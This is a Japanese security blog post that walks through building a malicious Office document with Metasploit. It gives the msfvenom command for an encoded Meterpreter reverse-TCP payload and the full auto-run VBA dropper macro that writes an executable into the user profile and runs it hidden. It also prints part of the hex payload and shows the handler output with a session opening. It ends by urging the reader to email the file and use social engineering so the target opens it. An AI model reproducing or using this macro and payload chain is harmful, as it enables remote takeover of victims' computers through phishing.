読者です 読者をやめる 読者になる 読者になる

Pyclas on Security

pyclas@xmpp.cm (OTR)

オフィスソフトのマクロとか使った標的型攻撃

00年代くらいに流行した手法らしいのですが、ここのところ省庁等や関係機関への攻撃で流行してるらしいです。それをmetasploit frameworkを使って再現してみたいと思います。

最近の傾向としては、脆弱性を利用した攻撃よりもこのようなマクロを利用した攻撃やヘブライ語アラビア語の制御文字を利用して拡張子を偽装したファイルをメール等で送信して開かせる攻撃が多いとのことです。

お盆休みの前に作った謎のファイル↓(※実際のファイル名はjpgs.exe(アイコンは適当に拾ったpdfのを埋め込んでみましたが...))

f:id:pyclas:20150811011320j:plain

Kali Linuxとmsfvenom(msfpayload)モジュールを使います。

 root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.69.130 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe 
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 308 (iteration=0)
'**************************************************************
'*
'* This code is now split into two pieces:
'*  1. The Macro. This must be copied into the Office document
'*     macro editor. This macro will run on startup.
'*
'*  2. The Data. The hex dump at the end of this output must be
'*     appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************

Sub Auto_Open()
    Exsdo12
End Sub

Sub Exsdo12()
    Dim Exsdo7 As Integer
    Dim Exsdo1 As String
    Dim Exsdo2 As String
    Dim Exsdo3 As Integer
    Dim Exsdo4 As Paragraph
    Dim Exsdo8 As Integer
    Dim Exsdo9 As Boolean
    Dim Exsdo5 As Integer
    Dim Exsdo11 As String
    Dim Exsdo6 As Byte
    Dim Sasgzsilpj as String
    Sasgzsilpj = "Sasgzsilpj"
    Exsdo1 = "CUmGgeIPiAFojUK.exe"
    Exsdo2 = Environ("USERPROFILE")
    ChDrive (Exsdo2)
    ChDir (Exsdo2)
    Exsdo3 = FreeFile()
    Open Exsdo1 For Binary As Exsdo3
    For Each Exsdo4 in ActiveDocument.Paragraphs
        DoEvents
            Exsdo11 = Exsdo4.Range.Text
        If (Exsdo9 = True) Then
            Exsdo8 = 1
            While (Exsdo8 < Len(Exsdo11))
                Exsdo6 = Mid(Exsdo11,Exsdo8,4)
                Put #Exsdo3, , Exsdo6
                Exsdo8 = Exsdo8 + 4
            Wend
        ElseIf (InStr(1,Exsdo11,Sasgzsilpj) > 0 And Len(Exsdo11) > 0) Then
            Exsdo9 = True
        End If
    Next
    Close #Exsdo3
    Exsdo13(Exsdo1)
End Sub

Sub Exsdo13(Exsdo10 As String)
    Dim Exsdo7 As Integer
    Dim Exsdo2 As String
    Exsdo2 = Environ("USERPROFILE")
    ChDrive (Exsdo2)
    ChDir (Exsdo2)
    Exsdo7 = Shell(Exsdo10, vbHide)
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub

'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************

Sasgzsilpj
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H80&H00&H00&H00&H0E&H1F&HBA&H0E&H00&HB4&H09&HCD&H21&HB8&H01&H4C&HCD&H21&H54&H68&H69&H73&H20&H70&H72&H6F&H67&H72&H61&H6D&H20&H63&H61&H6E&H6E&H6F&H74&H20&H62&H65&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H53&H20&H6D&H6F&H64&H65&H2E&H0D&H0D&H0A&H24&H00&H00&H00&H00&H00&H00&H00&H50&H45&H00&H00&H4C&H01&H03&H00&H4A&H13&HF7&HDD&H00&H00&H00&H00&H00&H00&H00&H00&HE0&H00&H0F&H03&H0B&H01&H02&H38&H00&H02&H00&H00&H00&H0E&H00&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H10&H00&H00&H00&H20&H00&H00&H00&H00&H40&H00&H00&H10&H00&H00&H00&H02&H00&H00&H04&H00&H00&H00&H01&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H02&H00&H00&H46&H3A&H00&H00&H02&H00&H00&H00&H00&H00&H20&H00&H00&H10&H00&H00&H00&H00&H10&H00&H00&H10&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H30&H00&H00&H64&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H2E&H74&H65&H78&H74&H00&H00&H00&H28&H00&H00&H00&H00&H10&H00&H00&H00&H02&H00&H00&H00&H02&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H20&H00&H30&H60&H2E&H64&H61&H74&H61&H00&H00&H00&H90&H0A&H00&H00&H00&H20&H00&H00&H00&H0C&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H20&H00&H30&HE0&H2E&H69&H64&H61&H74&H61&H00&H00&H64&H00&H00&H00&H00&H30&H00&H00&H00&H02&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H30&HC0&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HB8&H00&H20&H40&H00&HFF&HE0&H90&HFF&H25&H38&H30&H40&H00&H90&H90&H00&H00&H00&H00&H00&H00&H00&H00&HFF&HFF&HFF&HFF&H00&H00&H00&H00&HFF&HFF&HFF&HFF&H00&H00&H00

中略

スクリプトが出力される。上のSCRIPTはWORDなんかのマクロに貼り付ける。(初期設定だと開発リボンが表示されてないのでオプションから表示する。)

f:id:pyclas:20150810234339j:plain

f:id:pyclas:20150811011756j:plain

最後にHEX DUMPが貼り付けられていれば一応大丈夫なので最初のページのほうにそれっぽい内容のテキストを埋め込んでおけば良いらしい。

root@kali:~# <b>msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.69.130; set LPORT 8080; run; exit -y"</b>
[*] Starting the Metasploit Framework console...-[-] Failed to connect to the database: could not connect to server: Connection refused
    Is the server running on host "localhost" (::1) and accepting
    TCP/IP connections on port 5432?
could not connect to server: Connection refused
    Is the server running on host "localhost" (127.0.0.1) and accepting
    TCP/IP connections on port 5432?

-
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            http://metasploit.pro


Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.1-2015031001 [core:4.11.1.pre.2015031001 api:1.0.0]]
+ -- --=[ 1413 exploits - 802 auxiliary - 229 post        ]
+ -- --=[ 361 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.69.130
LPORT => 8080
[*] Started reverse handler on 192.168.69.130:8080 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.69.1
[*] Meterpreter session 1 opened (192.168.69.130:8080 -> 192.168.69.1:56382) at 2015-08-10 10:51:17 -0400

そんな具合で。meterpreterに移行出来ました。これでチェックメイトです。

これを適当な文面でメールで送信して、相手に開かせれば良いわけです。 開かせれるかどうかはあなたのソーシャルエンジニアリングスキル次第。

f:id:pyclas:20150811000707j:plain